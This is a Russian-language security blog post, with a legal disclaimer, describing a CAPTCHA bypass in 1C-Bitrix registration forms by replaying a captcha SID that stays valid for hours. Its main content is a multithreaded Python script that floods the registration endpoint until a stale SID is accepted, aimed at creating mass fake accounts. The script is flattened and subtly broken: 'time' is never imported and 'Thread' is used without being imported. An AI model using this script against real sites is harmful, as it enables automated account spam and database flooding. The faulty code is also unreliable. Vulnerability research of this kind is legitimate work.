Эта статья носит информационный характер. Мы призываем не к совершению противоправных действий, а к легальному поиску уязвимостей в информационных системах. Обращаем внимание на необходимость во всех случаях соблюдать действующее законодательство и правила соответствующей программы по поиску уязвимостей. Неправомерный доступ к компьютерной информации влечет за собой юридическую ответственность.
Мы не ругаем 1С-Битрикс, а показываем как ловить разработчиков на ошибке.
Еще давно, у меня был проект по анализу защищенности - веб приложение на 1С-Битрикс.
В ходе поиска уязвимостей мне попалась капча в стандартной форме регистрации 1С-Битрикс, капча генерировалось вроде бы стандартно, но я решил её поисследовать и заметил один нюанс.
Как устроена CAPTCHA в 1C-Bitrix

Captcha.php - данный файл отвечает за генерацию SID капчи, обращением к функции GetSID()
SID - это что-то наподобие secure id, который нужен для того, чтобы значение капчи в виде слова(fW0j) лежало в html форме не в открытом виде, а в виде SID(0f7e32b13881c476d4d1f7be9796ed42), это нужно чтобы не так легко ее можно было обойти
Генерация - после того, как открываешь форму она генерируется, идет GET запрос на captcha.php и получаешь значение в виде картинки и sid значения.
В результате капча в html выглядит так:

После того, как все сгенерировано капча становиться URL-адресом, который выглядит следующем образом

Если перейти по этому URL адресу, нас будет ждать картинка капчи, которая подгружается в различные формы.

Обход CAPTCHA
После того, как обновить страницу, обновится и сама капча вместе с её SID.
Но была одна странность в том проекте, старый SID капчи, после обновления страницы был в сохранности порядка 4-х часов и я решил проверить, а не сгенерируется ли опять эта самая капча с её SID, раз она в сохранности около 4-х часов и это сработало.
Мой коллега помог написать скрипт для GET запроса напрямую к captcha.php, за что спасибо, но такой метод не сработал.
Тогда я попробовал сделать скрипт с POST запросом через форму регистрации и получил положительный результат.
Отправляем POST запрос на регистрацию нового юзера через python
Отправляем его до тех пор, пока не попадется старый sid
Если попался старый сид, то зарегистрируется новый юзер и скрипт выведет "ok"
import sys import requests import threading requests.packages.urllib3.disable_warnings() THREAD_COUNT = 10 def bypass(): sid = 'вставляем_недавно_сгенерированный_SID' url = "Сайт" data = { 'AUTH_FORM':'Y', 'TYPE': 'REGISTRATION' , 'USER_NAME': 'klek', 'USER_LAST_NAME': 'klek', 'USER LOGIN': 'asdasdasd', 'USER PASSWORD': '123123123', 'USER_CONFIRM PASSWORD': '123123123', 'USER EMAIL': 'testtest@test.com', 'captcha_sid': sid, 'captcha_word': 'Значение капчи', 'USER_AGREEMENT': 'Y', 'Register': 'sdfssdsddfdsf' } while True: req = requests.post(url, data=data) time.sleep(0.7) if "Слово для защиты от автоматической регистрации введено неверно" in req.text: pass else: print("ok") if __name__ == '__main__': threads = [] for i in range(THREAD_COUNT): t = Thread(target=bypass) threads.append(t) t.start() for t in threads: t.join()
Скрипт может дать ложное срабатывание, к примеру страница может начать выдавать код 500 и скрипт покажет OK, чтобы убедится что ложного срабатывание не произошло, достаточно проверить создалась ли учетная запись.
Импакт от этого - переполнение базы данных путем создания различных юзеров.
Также можно применять и на других формах при условии если SID живет много часов.
Также можно сгенерировать к примеру 10 сидов и добавить в скрипт, это ускорит обход капчи.
